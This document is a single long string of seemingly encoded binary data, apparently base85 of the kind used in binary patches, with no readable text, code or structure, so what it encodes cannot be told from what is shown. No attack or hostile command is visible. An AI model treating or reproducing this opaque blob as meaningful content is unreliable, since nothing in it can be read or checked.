zpLR^f%w13^SBcjCC$d?3CWjv!d4y+0w{Bo^g-!%*d6=K+hr+*sOljgA~HP>6!ZTmC3hir{p0QU<{HqUt0{J#Pcz9;He~s5jHvppzUj8j}CbVE>BK@(5~rtv-bb^@xSg$ zjV+|p#R=(jofY`^!Pt@Knpwu*!X?}?jO>c~g!gEy-tg_Uay~wzP(Gq^7Mh|>{}~1p z%|FcoT)SER`*?1`g_}={`tk+Z#Qyfm|9jAKaUTG*KZ4{%Zc6<-%TV)H7(`>Z_Ezb; z+Q#bmWJ$B=Id3dI-U|Fy8k+2hNg8m=FWgtm7X^LsDmFg=+Tt99{k8&IgLV)zJRuxa zfx9n)*!s^MeI9vau7er4auL`70a_q5MQU7)AUo?n_TY@-{CKR!8qeRkAo z8lN%X5bgQiJ~rd>L9Qcb@f?FjFc|3boB-uw5&-lo1A$>i8{m3#s(=-6D1#V~{9Ii3 z4Z+-|FmEl%HSGRjz?pf;Zg}q#2KevJ%_HdiA~)cIELqlc$o;&AuWM$Cb9em~FdcJlduw1Z0Ja%M#bV zay|kQezxVpikWkiYj~M!;1@)dDsyU=^R8REWYdxj={nv>-zinUI_C7{F`u-j0{yOD zNLw`cE4Opp>gn8n;@Vlok$VmwLM{pHUj<_~?XSf`R(Hr#X`!jl;D*`#Um-J<5Mccv zpS9|xNt#y!WdS98o zEueLknLm9qU{9WK>Ph5;g8AvawJ43b^6oYWv?uKXK;N>U)~^6we`e7gDF>hKf-r6a z*MOO;*-}!HxZrA=v&Ktx9N_m*ebi=bZZK&xlb{n<;8k0^Uk#8Qr3V$jOYj9?dWO31 zm(xlMQID?}{ljAla(~$nt+fg-Mo#IRTZ4NmsH#%w4q@%RVs0HOL2IbGh(^U2z}<<4 z_&a3FzPlekW7zFLjBrq@^y@LB)||7yzYj1n?`wOje2&sok^~<%l;JHGe>A7FCCqeN zVQ**Aahy@+rKHSQ6*SFD!=$>x7c5-HruWg@iA%ue`+S1!-6w%SI6=Q9o~^XtjwBgv z`_D@XIBV8y@KJYJFT0z2{b%8uYMLB<3D`r3AKI;cjiA;<8on6;5x>~_O8EqEqssq9ZlL?QP#q3TCH|+G1m@x z-qQg1(R1D-YTE87&yQJ`L1DAFZN5(dU_lii%8j;YPb-hCEFW~LUx3d=1t@JtAb;6Y zP*E)3YnhofagMsVor}rteD~UUJKOquerf;!Vp+MPAoCSv0D;SgN3RP`A)jlV-t+GT z4^&f5>uzfgi6hQVhK?rYO%AyFCa0vV?RfU_YNmiJPRX}z%itI@8K{MNX#Y|Souzid z(q7BE^_)8Af=_puF#e@SdSCXJ#0Vxmi2@`>6fa)D4)5K+A1eQ(cb+$a#R)5Rw57pF z5I|p+`_8#95L>qSc{=>C?(27pLN60BBKQARa>~;XdRKV%m->p`3B&SKX%%FG&xaatVl|t&4itLtd|%<* zH+ra9-t4S&$Dlvzbe>vNuXc(|^PzvL&b}PDOlJep$Hd^m%>*!3{G@SWT2Q0+w{Vg^ z{nK90h|`d|?6lnP2dj;KK!EfpR4%2vAoY$Es@Lx6Q!2^}clGJTQ1z}%Se1*CLzH{> z{^$3vc_dpCy%5L6Y#erHLIlGh;FPtAm#2MV2|u9F-O z7o33(qwF>vip@6HxdB8~laD_CwWu;o3jC@>=R3OLRBOqjf4Zx(9LC7di+Gtyd&;IG zAI;`N9C)HQ#BYfi6Xe;8HaCCim)2ZMcTu(JCMum2js$rvq~Ny(Z8G`6(Lrt# z=kc@`nI8p?hF`SicV@h%b+Erkk&mqjNB3BP=TyRrmNFOhp0&FLNB=WO z-q*YqW=ay{qeWHsF+;7kvjt`yfW)pt%5T{)Q?cFO%@ZM2nXohaPg!>gq|~=6S=xaR zp6;;yX>aBBuE8?OotW`A5{UxNo~pQ4rl~rVjE)2co_}gzZgIb7Zahwhw_$rXTaQgw z-hfnf#VEfLVpBHr#$(LqUnkx#N%MOUW}0T#^oa}|FcERX^7`Y?dQN>B{!gRIy(Z9+-_E`@U$Frf(86)B64T+UmQZK#L_vYTsa?*W4Jikw zw}Qtg)5%$o+hZ;Wok<~ZCZ)s5S7udg$E&irvm333I%Iy`u3YMbr8f8@P~iFdZ()hs z^6Ftgq}R8YzFEq}lgPzgO#juh#!wt^Y5s*8OVWtK9~9R9$%sWC)xxV-(yj zXAP_!l6d=s%>66y!vj9mfk<+NBUWjQ%NGbCBtvo&Z-J#)L_D#jE<)hT7qj0f!7Swa z#z*-*j{lQ^I`PWO6G=c6!)YIAyvm@x*db$A|N2MV&hKh|NANzovoat}8E+*tLbS^P z{~^z^pqj6r0lMnz-9(J_@60$T(+jU^dVcMHE??c)vP%uj@Fsz_mwZqi@UfJ80tVAV z(D;uh@8RSS81NoS#brdCHRAo9tb?VV0VVEdrkV%}G&HrIFlo(mbF4@bV6O*SSUK{O zC$|Te{7&Pl9RIUve7E6N4o%RdjAK05(1*Okz^A@y zv9F@%VZ1!j7a_40XmAGli>AW>9ikt}KCqm8_GWmJ3Icsl(d+GiU$_1rdQqzAUo}LP zyPhjZ^SSq}&56!w$U`Z0c{6}SOG*Mdu@!lNChg~+k)1&qqm2IdB>a|v*eLnmeYPNYJ03<;`ZLVwpW)g}1D6A;53c&EDv*xwtKx@TJc3Mf;2s{?R9 zr`5$#sEO8bRs>k(w}Gs=%61^=;VfX|QKB&wx-#IbpJgnYsT&710Q0^DgmgXUO5 z+Q7N=goIfx{OLQ@A>W;?-#TgKn)SLZUF!jN`zDwrCIO7b8%P}jBHVWd0?Ao3D$u-0 zhSc}KRANP0eZODoM?hD)1=*>VBO0%3tliF>@FSna|9*4(Kn?x3^5y^f<^p!@F8|k? zb0>vRu)#*jx>k2^%S$;^iHajZwa8tPmU5ufxB=2X=bqo`f7sF`cDc0mOsn;hktP`| zU!-imiU!Z#1Wx4=RA7orcng^C5mOdiI$`l(6WughH6DxY*aTCSzJlt>H^0;Y2T3v8 z{|J_TCaA|J^i>PSL4&+1XIBxcIt{3dXKCTZ9SrbtZD6+R1lZ_*lzqP>oCGHF)$_^YyrHYw8-wvS zUas+Q)Y|$2em^_?1~3d9(1Tc}Wz=T8UrF=p3G|%dM;2({+Z0`A`%55Ej<(I-myq8m z%R+uR1tws1o9~=kPws3aEaqXIw&RyW2@;7bfZ!=45~=gZ6EkpP*QmQFa>)lMZE!fl zT{0rtz`IQj1d=~b2jbA-`%efZwSZf@UG?REdsO^Y%YVEtAml=FP^>L$-Oc2|+{DOR z9K1DBM&3*HVtGe6?nvHLQ*1spywd+l*{Q|XHp0Qc%~8{mYkYEi*dzj_)i zhm7Rf{WCqyUrX}jsN%+-nBBIiB4FQ-`%A4^|HVyM!|1#Rx5abLnD%pjCwl6Til3LjyNo zFq?DkhA97&5KC6NR5~}}R=dJ~%|tJo#O$r)F3h{|o;%rX6$n0gL8|x~Q+>R0{y<=7R`+0jLFv`B z?&j1ZuTM@POBjbI{-F(4=h)H3=vS|-FOhZRV8>gz-Sj2jY)xVmmADZ3vHo4|lfk%E z*g0?etoifoC5~`Z3eEyVr@t%&pxb0zn461;1B9cZ3}Lehy(^>+z-g;HC5imPr<({E6C}T&KCG8Rvhq$D)t@;C8K|QfS=&u( zhT40pk7Iv`t=?Y)#-P@T;*NN4Af;s$Wy>v2uKujFn|M+azYxmuNbl*)`@`FeXfj8{L;_D`D#Hx3+40$Um}Bx#YgkKK!_u|u_fVaPa%6~H2gzo#Xg#EM4tQ? zh}7r=969_mU#Ni&Ba54JbK;{fQOZ$x4Ff0kI*V+|S(5{;=U+d6`{N5H+;agMOZc(Ifz{RZCsc@?V zM5e^w?bcm~45h4^Rpb19Xyl}d zA?tqw}(6ek@Xawr-Ag_!`$CcA`XLwkN^a$@@W3LeJp)9Rz1cABez)b==;WY_uNpVH@idxxAFjUKc| zVh%g4^t(Q^x~H{JF_~k5^+2sfT5(hs1fK+OiZxa&*z$p%9GdyH#zc(0f`}FazMbmr z;NGFmxpuuDOGbl z3Zb@_;plL<7ET(||9Kb?Jl1IQ-&$pG9*_$K6+FdAOiK$67^G8iL+n4z&K5qO!%ro< zhcO{!Nbl#2qfHMKXv3?lMjts{Ronb9J0%}X!4N6#fbHhU#J0p{SK4ABd>+=>h@rT)eju zxQ{#RHV2NH7N041V2cs{3lDR+3IML#0Efe+9_W_Ud{-C6QBxLf7mCcBTl(>Uw?o4l zJcX#_NarPJL5<(Ah2`vKiumER2I9`YFZlS%`el)bsX;Ek36BaXf9`2KkQh$V)! z7K$j~Ri_!Ab7+d5tsB%I@W2~TaiIEg%1QB;gP8xeK9c}u?Cj6;EY4;8C75y5D`-u@ zK?!W%do0bGYSQ|MIm82Scf;k)A^~re0exXOZ4yZBwP?6g`8-2jw49>{!iB$``Zp`2 z-*c+zLtz{1U^S(B6oFsJ9Fn>jJK&wvfcdVLnGJ#e5H*Cb?J8i+H!R75kr9fwIr5FbY<5<7}4*2<8_YI^l^vT@bk9t*0i^J!D;ZC0U9i^WW z$QQ0_pX?B{W^5=FiDcCIze?)Dj$Eng&G_Yr^lKYX5pDj+zc+0TO?9udK#-?27}W)4 zCtx>54H%%*ON1Wek`{ST>*fN;8;T1natCMt&f8kbEcLf%BflPvOaw|b`5EbH7mjl; z^N6bTpYj-s+_wPWD^jO&<-|hQmkM;u)ft=|6$In_&x_=3kZ_(tic%V`gG~o3AZGB& zW?8_=J1@-W*pIwzO=r(G)Su$wE;C^D9 zCOaRRJ>cuf$@S4P%+!$ovFB;}k*!7;t;CzcH-6AJF_k$rlQd)X%Ilqhp}4@Z61twVjmIglsr`@R;SG`le|re{6h`RGn#H!5}3755jXrP#=5 z;Z_;8b?}&vw>^xIJ_UVi9nCIdQ^u)TB!>LWOy0k_lK%3p{OGYau`tcSfIj$Y4|8s{ ziesjs*+W)txNo-^tyab4yZ7x#AJpTIH@0&&4{8J~E&H{c^n%aL&xy*zu+$Iw-QtRA zwS!1RgAA(d728OIg& zr^C0eZ_NBCv58LVGRLru8 zFA^0vOt|>~$HnAv;AT#wnTDeR6Pm2`LQ4!IHID5q8GR(2o!hndbqv%>9muGxirI3} zG&V}Q{$iY)pW^Tx?TV0YK$C!1=r-1KH4tn>OrN0bN_tF8^P(Kz0h8Q}1A23pCa|mT zT!4DyWw4*ULbsF&{HBL?3te*Th9)3LSw?}gx}+VzB_b;GiD&F;$`6s=W?0^nil_za zNC3k%Wkof|Nyjff-P`msmG<5(sn{T7Y`@v@Jj);nv@U{^eJi>|>W-mzJVu!w>Q$Mir_~Gcv{4 zx#&7Uty%2Kpd^$dPTR|j$xBXtIoF{i4mS7K#lvcsB$$mMb)b>TN=(bVaD#zqJyZK0 z)Jb*R4SmJOQ&?Z_Wpdx#j?27obNf#R_aUDYhtxvYE@n)qqx1OsaCSNg0@IrX#V&f+ zbw)EPiF$9inS~pNV?u=suq&V&^_`y2et=qfOlM84R@b8a%jxct{MUrN*O$DXiUbUo zpuL0$>tpn?J!ZYl^nJ7_hnjq*&W%t|%jMNlhCEMqb}g`&JF*@AzKQOzSsYA#0zuWhtU0bVGc;oD0OmH`+SJ5D2*wZM80`o97I~e`Q z-Mb2g+;nDSAE&fmsa>c$>#0<3ddI_Pbm2ZAI!F}s9i-JdthJPPtXFh*q7ZN<5pS8c zn7HN|IVWh^+_cHQk=t3hJ7TMzXE>^%D;%}v3}|K}StY$)a4Ek>8ppW!ZsLNXWCk%r z|DlYEF0pGRaH&F}qbWgAE4gEPTSYGM*KvLObzMlA5++iP{na|Jak+l`Y@~by;2i;8 zd`Hwk_lo{uZ)*AU2;3`50>!sC8jS+!g<(E)T;i3S`iGk@YWe`$%8XhaH)0l?Ni(J6^FrP;BZ;QR429rMmrlvX^Ue?7lH&7t zvUsZ~4QiXMos`hmbrSz9y5ixfb|zJ^3`x;FRV;?Q-i#2U=-(5*fExXM?%mx+I@ikJ zz9@!rv%9vbR!j>D>d+WOLfs*%`}Smq`T5jy#$mLEk{& z&!XbU_s2Qd?`ljEbsGslMGT1$6t7%5rV*;LsPN!_ofFMLBx4Cb01^1Vz1&p*o|Wk;R-Rq#ag&rd*Q9D zpeQ`b>okSAk?o}y7>^?Ly^2Hq&5`)GD|MO94Gc0?oj@^GnHC&ZTa3`_%7>SJ%00?U zP(y#dV__d0${giqm~X|XTvK#w&VZ-Nnes2bf|+qdPaxo%Bgx&b`wD~x=61%Vrd>x- z1jNIz58`S{xW6^-vGGz-Oj*osH~F$Vfk*lY3yi@m=2$~GYnTWMe}})GtGBU)-g}T1 zg~`ngpgmE{aSv4tS{sg_6uhoqEGg_BR&Kc26tzJj&R}y$<^d)Vn;Jp00y9sBcsN&T z8Xkj85d0|o*{0um`^+24f|&BgV{L`2G9wOEXU(>6WvI^vh%@LcPA%Ncn_9T_bNYCh zg)U3?85sdGz8T;-lSfuCm4*JI04Q!_wsy3>4bmmGsKsq8pF$tiLDU81KakiZc&6Zj zC(%r_9#Fh;01T;ekPXl%*Wv=(9LU=FL%Bj#fMjC<)8zodw?8oun8#W{2`$yw)j+g~ zJ{_+QYV$et)gZnXl#wDZ>qIYKEe`+`<1NjWQ)10;fheU}*2h(4L44Foe?2Wr#!OF0 zcX1K)jvIFz`ZoLY+$Z7}3bn;U*?pmQW(8!ma?j@1%wsj(>9kHZ*91MYv+K;#y`>%N zAkqr&RPS+kjMp~xiVD1`QfWUmV9$Ve`%Z3+TKTowtnhRv6)C z>W7#)53Q@Egq7zG3i@8dHi~6^VU^rl5V~1948H$XBFsKHog|UMsAphLZv@AAzEjp% zc_L9<@;=zZhljj)n}BcLgn~Nd0LU)rp(cujDK)CE2GS_VpBr(<%b?SBUw;gW$_f_$ zL0Tw$|MroU< z5CfG3y?|_r*I|+OLz^5?-LP3jTT8OZW{Fga|EEQ<(twqv!9NtP$qcwx9Wj15d(1;I z$rFp{yAD@FP@dbtL;87UIwrIo8ILgY=_JYs!i4Fl`|*QDu5aMjP-Hw+eNkUAn`OS+ zVoL!daNSU7se*I;w4qY@?nTZHYip9c+ssHD{GPK4YjZ^QE`0sNz$M?VHL*dr_j6g^ zt9CVxr~E8$?WYNw3(#6&L)+QQXJRViH*RI@L0+W4=X!?lHhOY8UNjhRCttoJ8!=Wo z0_w}G<7ML;V#s^w=A357XnWzJ2yeRJRR`pN0Q|DFb$PDJEZ9I4ZWAUVzbtg#YdY5j z0mwZnuvM_|;F9e>E%~KxrS%`nJu3+Uz@1}I}rOuz*sQ{=uRj% zzNm#5n0M{WUUN9CeH&f|P-zFFC*mDBzPmCNL=tQ^N`33fMyF5@mzm$4T`46aA${X6 z+WnB|Wgna3n?m-4O?9H$*HWgKVw+211miirGmo!+Alf`!xplZihk)Z^Phg7ILTNNBFKLp0JC!rMJ;p;^Qg-<`r|ZO7`RRK%J-% z6XK2a@ZNrs?D%LX$W}@fHUzZBmx>oX-lpZ8n`V?IU<xLnpu3WQGNrM8aKaKHrZIVGOx@oODXV&ahp-+;chjM}+h;b}q)luMD@z9H z`t)i|b>T*U6%sz>?nUekwArl9^op9e50S_Fa4U0|U#ArLN4M;MoYEcKZB5{m1|7_n z1TmR-yFuBt(^=|j=MWN0n=YJmG`P7&{C4(X-hl(7DrqesR}<9p`{rUTl(RlZ+f{~R&mm8H=&nS%%84q0v7EBH8? z``{20fS-hn@iLna_t9Ew&-Yq0qasvjOF#nrxH_Y{({4`f*g7M|J0z2v+GzZkICN19 z$CaaF_#rszNIzH-8AYt!-7L`u;3>T<9YQXb%NId^VbAk#3+6)#rqmY#XJDIDShwoP zQY@{vvc7^^WCYXY&jE|Od!~393HinsZeaWmN9^%AQ!U+eh(!dA;J7(0>NqMCjPuOH zzH-GxSLpDgEsYD#owv03FnHqu4|+nvm;d{qpRLqMwV}%2hw&TbSuoX3hGEy~DVsX8 zhedG6YgTw}RLnByAzftjY2i?9Y3w&t)y~uL4lv+dYb^CzX!Pm4^yJUPWCtjN3>g=7 zxgFlG$JCfo?#$b>uv_Gd@e-I~*wWwd7uz{_@|8ZR4y|)D@L30HM`IG#L_bB8V7PW) zy7Qs7xQ6T=eNv*$-`i8A$R1M~43q`~v~VTGlO8G1sqD)W$r!&U76@RgIk{IwhJaJX z^7DyX6eQ5YkcE8-9$msz;r8(5Pgh<=_dP`+7FC1#0kI1W+hYEp)-|Iy3nzeQ}$ze-$pcmP z5_?i{L5-hg!$RFaG2B?CnsB@*jxwx^FE&3NklZTzI+(T`cfcyUUt!?(OCK>?yti$t zJg$r;xQoq=q@Bw(mh5}|Ds}l)j_KB#8Y~rK|3dcj2|ksB?okqgMuZP#@8H{aDh_#+ zk)JK0xtsRz*;?25&E(#(pK_44!4z;GZ%XilfYW9r#ng?CGy|Y-eL(MYz!{Q_%#g62 zRca79FQqmPbSdN8*_Y1f8Nk|prjsna>m33Y`Zp%v8(HW?^9R?Q{}tli{uSa}tZ>$U zX#u26SzCyyL*$;lc2meDUu<-sX=l_`w1Z~?STue$t^$Ql(6^QOtEEIXG!E6*6%G99 zHd@!gKDGq~)|uvdDwmXe3Zzp>pxW?!>eJK8Xj=Xl7u1u9K7J&WnoN2Rq>Ig-*3ReX zHxoL?gFMQX%<(dzX3o_0VKBXuhI1xSNaMVUDhW$K8V0eUrHc(^%z?rs{++e8M>s0q zFNlZPC|8CcG_Hzg-|K|m0;#w)MbGr@I&gBZAo9Z?V~lDd8e{(eRkHi8ROI2I7svI` zeanDDTFb@Wc~E!0g6PgM0;{>J#z=iJHRCFBNbRl};#1ys_Q+C=em8t$;7;SGP%&%k zRa#ruXZrZ0m#TJ1I7&HV#(O`l75;}7u1?RPFbiinZ84phruF&|%hNm9rega%P;DPP zpj9<&Zeeps=7?akj^!fgkwy7wpdSiZ8X|2dq=3TC6##JJvI&^n6PBS*RC^OJ0F-Pr z2mlUf$3n7}PEAhu9MnUA{bVBWg{guFX zfppKiom#0k~=_IIVaqJr~mkD$LbK{p|KHM}NW-ce->IOFu+BUJm4+E|6#i-uG znv^-JZ(cfFsY&g?5Fk!8uRn-MWZfExVmq*CIj|I!e5GAXGpX?nc()z{8ch&b(~+Cy z*BhEOR!V4S3#{9)?0JN9-VJNUJ*dQdzv__F|LzTZeFLM3y*EX3+s$E$yoT4<=!I2=) zI))m5>v^dLfUXxDgJrH42hJ>ZVM}Jcq;Ny6Krkh$mo_Uooe&`SuY8D#&|n@k%`4d) zli4`N2Ia$Ls0J`$>v$vKNE-`3W*LlCMg#2b94}EsFi2D5)-?b1&}=* zAT^A0=)^@&w}-LK4Qv3XnQ^e1ZIOkUBseB#pU7^=)qRk!@ zZq?FFzjMOl!C6?}!lnjmpmT-(;tQ)dM}5wf;BZmCi|e$mOL1@%Y|o6XsJuk84o7v+ zep>$Vrg~4gX+eUy!_HM3uY(&OAl17oV0)vl@K9sraW={TI!Rm(SC~PrEXZLc1z0x` zYonQ1R0>*H74A#HRAHx5gN@g1#-V=evhRAOU@_}B=GSq0{eddP}Uw$E$5xc~BB&GFrQ^?-e7alRH6llRu!iB z;&%rbn{T+70EmW|sU@+!Q~(t;{|20WAMy)BGkWL??D|3yH53^3%rLZLXkww;`9pW} z+kobD%47W#{+`VgF5wogqi=Xs-9BoZB)imnh;O>M5~^$oV#)*@gY~-$_@`bqy>Q!u zWsnxxdSEJiWyo?+0b?n_NF#;%GU=ft+~DG7pM6v}4bp?P}f$$-2 z^&Q2kGsv8-GY2p)Z#$I6qa~*Kc!l`WM}S~=4&+GD7^+!fYjb8=kpGX&AhX&1dge`~ z@%ugbZbwhtcZjA7m@U6UlkN>&Q}(L!O+3w@{|<)}%CA8lb! zuiKTmKLz>OCkCBbeDrHv_2i7knuz~c4LjMV48C0$LTjcxwDPSMdyV=y+fo?82YiyI?d zDbZh%N2^W?Zm#5M7gQ4cZJvfc=+P7Fi>qi?7cIeS~Ym zN#4k%TWMnKv3gq5ey>=ueCch0-l22Zr!PDJEq+~b2&;%j&0o-?$XKhY2PYtOFQ9mf zLX@z~e%SlXdLJdO{_2AHr!2ASn+!^8cU)+o_n==xwRUqsvOltA@x@28X6;QyptE5GM?EO=e_`W$dFzOBU z{O^$pJR^?TiqHLe!0csBWo{{$7zUf_otfNlh{D@q503*h)0ieyO z4!eW<5S%=)L1MO$FMco*G%x(r4DPH08dfM``WEgH!DIZ9+OY8P~^jC^+{wu|c zO&#K2ff(u%J%>BTR|D&$$fe$s(nVsZY1OmTYEs9u5C$q+g_JdSY7fj19sW46vUB zMLSl;DUCfQlX#3AOMaS5B$}snL)J9qzy-|=*HqnvLx=)Hu-<^U!2hSc?~H14-PTn^ zG`bK46%|EX3MgF=P(YfUs`L(ufOG}vBoVMnv60Zh0!Zk+6KtS_CcXC_Is~Ky?)+T) zoV^$7zMOIHk8|(EF&x7IG2i>WWzJ`o_j#HROtaV*OSSGu3uJ0CD3-EIoJ5l+(+|rg{SNF}+JReB0`uwlRzEihnnR z5RQ+HYCus=sx$I&$3Fgtb=>eC2vxG!`KvOqubn z?|~u;@N0+#+OV`o|H#kzoEdz&B3@;ywDXWz2)jkV8$<8K@j9)xnTKAYa!BPZKKJHG z?R{*u^_kfHn5l&6uMo%t22v3h~!^TP)QW83q&(cK~H;gp0+mHhKQTRi#O?5SyUMX{du zcIbHbK32}{@Ec?%8tlmRX@VTYt+YvID0Y}!`GyobV)=J-M0u-O(4KhhS|ePqr+ROg zL(;<8ua|_6eiye>UZMz(c|m`phT0Cz>$T7GA-PLy%8`1`#AkEiS!eQ{4ch`r57kOa zeSgoO!XvcbaDQ=tv3bf@E1}-3uOafyvyU!c(rf0()G832w_cb5R!RYVXsxQnK2b%@ z)%Mr#op};z;M8b>pHC=goe`^;$-%bMwN3hxd(GYGg{4lYEr{b}{X`9tX-!Kj@~yZv z;@)vxJEeQ%-4=82)CKbG1*2jV~a8!-o`0*c>$-|)0* zSNBlz3AA`{VLZkxZ8}wba*sNOBC=Jy+}3{EzDYA5GS3qCSsb zLn6Rb4CF6$(DTXDZal=jB%5#$PJO{jM)L0J>xZ4oi>H=%_&I-i>x&%Bq3b$%syuu1 ztChsnNusmH0Xwq%A_V|RG-GbJ-w5{-l-l}Mcs_0Kpf`E*=Y7=6Tmc#9y+UL*;U}jH zZ0SxP`@?_5;R^Wn7wY9#Ve!PM9?0!3*$Vv}!CRr9!|ktr4s^1>aTA`YJ?d`P9#vE; zOQE|qMBVapJr;LCYW~|G;)d@Ye#CVTAs!P0Ax?rx=a9f9we9nnEGb=X>K6)YC2vKx3J6=zP*K!Yu#W(XbQu*TgT4eVSc!3mhKyD*8 zl7Q$6`8jC?!MC|F3XPX%<?4HLRBNs5ZC5RIBXjLhm*(^k7zck zuM_ud=(eT^5-F0mb1#mdC5u_6l#jDTp1px2;3=dYMmh5rv9dgpy& zuFxkK_S&=566^k^m7o%?BB z_>+(6d+Sx+r#<2-jzy)d4Gd(R}R=Byse1di*0pbg)fM%%y z!0=gUAy2dGEx8S1V$s?5{R!W?#hv}{K$p-H;kg)SY*s8fsp^{#S>Ebb4_JeC^BaU9 zjL`+#nimQRCWk^+z)CiOHyfjnY^t(zh33+1Wq-Ts>84v=M+D52XKkmGfyhexNB#rJ zA4LImrQ>uc{c<1L@MA>I;guP-(my?7+@U|OTIzclQJI)K=n=y@nzf#>!QzR_Ak!H3 z)4I@!hG-ai=3hg1g&y`O$i#3Wtvv*-O08nCKjAw)(ySU&AT8?@4e(BsS3Bjp%Ab9` zmyS0+f|;^BBH%wa2Tf%1NRiU@+Y^JA+dyGW*wuYgBIEXHU6W)EDb#%YqqYHKkO3~8 zhVG8Yd0Q%UsI#KYJ`!Ep>jmD8{@hu3(TEEvzfCKP_0LRyw&e>S>hxt{^FW8CV#FqQ zvCvoU^+OW?)U*7BhGyHbSSY`n*M<`?KFLE5VPJ=A7d@{biKwamitv|@U0hTY9N}#W zUv3;CdU|hj4Gf3w3Br%o5LZ2QYE&t)$pZ@3&lF;0DsAPgVh`LNjKpiGi+B6J8>$~0 z3T>N>cSN1|38ZcQ1EoNL@UDy6CCXiOwYc>}?Z*S6(liH8IX+4IIJ1>*z`Iyd9Y*=1 z!1Apw=W$`ktIugj&$#?|5kjmG4K3Xjwl?==xNoMwt(h+%q3-$u^HquN#^=Ob&xtO+C{A-Rep}&S{hbeEqS#uHA9Fd9d{RbA z?RM$p*}Odf;}O;051BqbDimj4s z-v;SvX^n_SbJ+>Qc=S4-(?94+6%l0zH?gAf*sTz`VJ|}LdRT*aMqZhQoqNuKp>(0Z zW(SdJC2ptFjCce|LPB&(yIQa5*e$NP-o$taRn8&7SY{m}?oBwqEAvWV$$2Ct{(||T z+&kE$iG zo7OnM9bp6gnD#R8-4YL~LVot>yAEkC6{m7K3!B#0>vlvbb z$Pmvx*&VrY>u&ESok~9?e1G$d09KD(+!}8YnsrxJ_aIjF%EYZ01j9{qeb$f1u&)de ze&en^L^kv2X7HSbK*oBHT=MbF^Cs`qDWr%SNIdYHNB=7fDm=0Ek88q2HfTQRev}C< z_R%g=eLlAmO;`IKM~^}NoZ&50oAB;m>LhRx?I-cFCd6AeTh6U&0P8$tX}om4Cid+@ z`n|G3#hq+)l8j^?Hv_%1cQSs})LY^|2r@qkJ0_nr%e2u_>E?#SomTrEH}Zj! zp3MJjJ)rqj4ZM&IDOya{I*tAf3jLe^TpezJ!qRyb>zdjw z&DFZg8!rk$jl3fMArh*|Dl2CT7Gryc&=rO*DUl}w)p=ACw)VqW0ts#p6_BNp0vRx zx|CU}R4@1}+~Lhrh34KX$b}P~Rfg!50fo@T{Q@MO({3$@gJ$G^curuoc!PRQi=KOnl{k z#nawUFiLr!7d2}+OuNP5$N>HUP_X3QSYu@?S~j zJ+_iY|G@?DyOIAh-rmO)U?q?^NZlvyA$tHd-}?&b4qyEST3h!2Da*dL)W1w#{`XEe z?G{K6_rCwHoC)cOBuMYG!j-$#8_3*ydRkl8Q*^N_0y@$@el>bsu;T*IeTG3=Yk~%AyRc;XH zB;jWkf4a}Q)TvZ>xnu78fq&)){!Jb1JoNL_(=kt5<_@efZL!W{2hwf>uhqooy2>P# zw9zN1v02}gA!a-=SY=LV`<`R~5-fU^i6gJ^tF4Hxz0TU|tZg>92(xx})=a^gDOfWF z{}W7s$3jFQ@K?>)fvgt}n&Pu1=DsQyFtokW{Zjx#qiKkCI0ahFt0ZtGCZ|7{*eSKd!p&q>X>Yh zc`7Le!p4;Op;$b~E?B5<`<%W4pm-eL34OfEK@o<{=lEB2%_d3HBC45oeSv1>mM0Ld z$_N0WPB2_3m>dLp~O(r1u1tQkuL; z5SY1w=%R?FARO8z(EK01&*TG%Gu+*dy72VOwqu+2-z==jP@n4!Um6TA0U9`s-Ml(# zj6F3!;WYalFj`C0e7gSh%3|2ovuuZOceVSfRno`24lZ`oyaH~Vodw&q1ZZNp2Arxc zar!S_=tlT&Ob`-30amXKfyV}rJEbpy_9~0juH;zsOHht886Q`l1RX!Ft4>$`j?8X` zBTrY3{LNe~bxSS1LG)6CM1p{U#jF;u`I6vL zuQGZ_l>`*Tx-)HVV|Jj1l4$qf>V|-019)RT;^JgV(LT$U7bLoNd{jCQvFumcq~LKLxc6{ zXu!J6`77{uAq{hus3&H5v0_;d(F(<57c#Njpe4#rLR7n0XS0g^5fV@npdLENHIB$A zxsQ7t`)@O?weGHWEU6Gs!}nV5#=a2Q5qza>AOh!2OL2wk^nZ z2d;ZQ(62Vn24%kz-L^?w3W&w?IqCV%6>gHej9kXWwfxvPlj9Gh@+4qD{K{@k)g?f6 zlhLwdKi3UBa0%VZGnqtv&{RA4vVCc!osT#rPE^IfScun;^=OE9Jv>~3P>6+r{x2Rx zPZC2M>a=@bKj9-_pu9~b=TG|u`>8H}ubTz!r#Fa3y$M|0P6$IZbxV+~DR$r68t&5{ z`*GMnj#;hF5KFB)X3^g2)UGc%6F(RaWPHhqmgy3&go#VxVJ~o)EFVVtEKX z0jz0B1^knL04ujL55M#Kt#UY2xGgD{bC&sy#1r5>HEV=rDml2+d9cpqODaM>P*)AM zX3W6m)MRX8LC$`Mnkx>?;_Y+geeM;tHsksfSo9>g`4cC}J?GQgx@TF6S}hfCtetk_ zTbgdT;yGfTlhouhznWRYQSqs#PM0x6mzf13aVuX|1ftYU5d#raS(i#L))ON^`o)JH z>{n^W2L>ZT3}ZRym8Qw~2*i|OJiiL|j6Al+SyhgSVy8qwv!K^dWXx_Xf0hrVuy5Pz zdJ3bMTVaXIMi8|T(gVrqSG}@ajmOu&!sqp{Qv&X47|f*LYj3JMJqNwsJi724Vg)Ed z+JOYM6IN*fq-qSc4HlZ}mB@xyih*6#kn!#u9y^DBmAlj!PStjyk`1MJF9xs~%RWGT zx61Ct^}-Eoa?L45x{{29vicZtOoN%MR&{jV14^e_U>zO=A8GSNr!O(V&kPzl_0(Yc<|@;}g_u z9CEn}q08!Eb(EkgwY7Ix-wSr`TbeMCtDUGDP0F{39WC>9m_N z;fnXX**sH7KJbg>mXXkX4G7`zP~$SfvaXkPy!aqEM)uAR8u9}?R}&UBOt^?F-Mv&*rep|rL*kzTTwcozaF#}fM`m2#cGq^Q; zwD@v#0Sv*i8@*PqUW`CMWg}SJf#-!+WIgq_|KLt@DYp-+*1x6^j_{>fY|K>alxq-B zZ&nHA4nwI%3hFi)jSHalAMzd|BJ!8Q4KE*Cp$=2WmX~Z@iiE@c9;$sRD*CrWg=|4pI&gzg(PbNPr#MB;Dunb~ofC^fIr)R);89r7f&V{-6vXew^5 zq$T>bA=j(ZK#5FP9~~m zmq=98wrgQ*CR}$BX%2SMu4t*Lru4f?-A~Pg553nQr9NLMpTghjYg`GxJSLbBI1u<7 zIH18XfY+5@cT6T0BY%Jw^s7d zp_nTF5+{A~12e`ga+ld<(%$1bG-QQiRPfuc&d9%e*REpC-m!qRLT_W1$e2Vhu>8nL|`4@PJei9^<6i0|7$jvBQOAaS}l=IXwN1b@?bX#wyZc2A6ZuAtGK)N#Wh`SGhd& 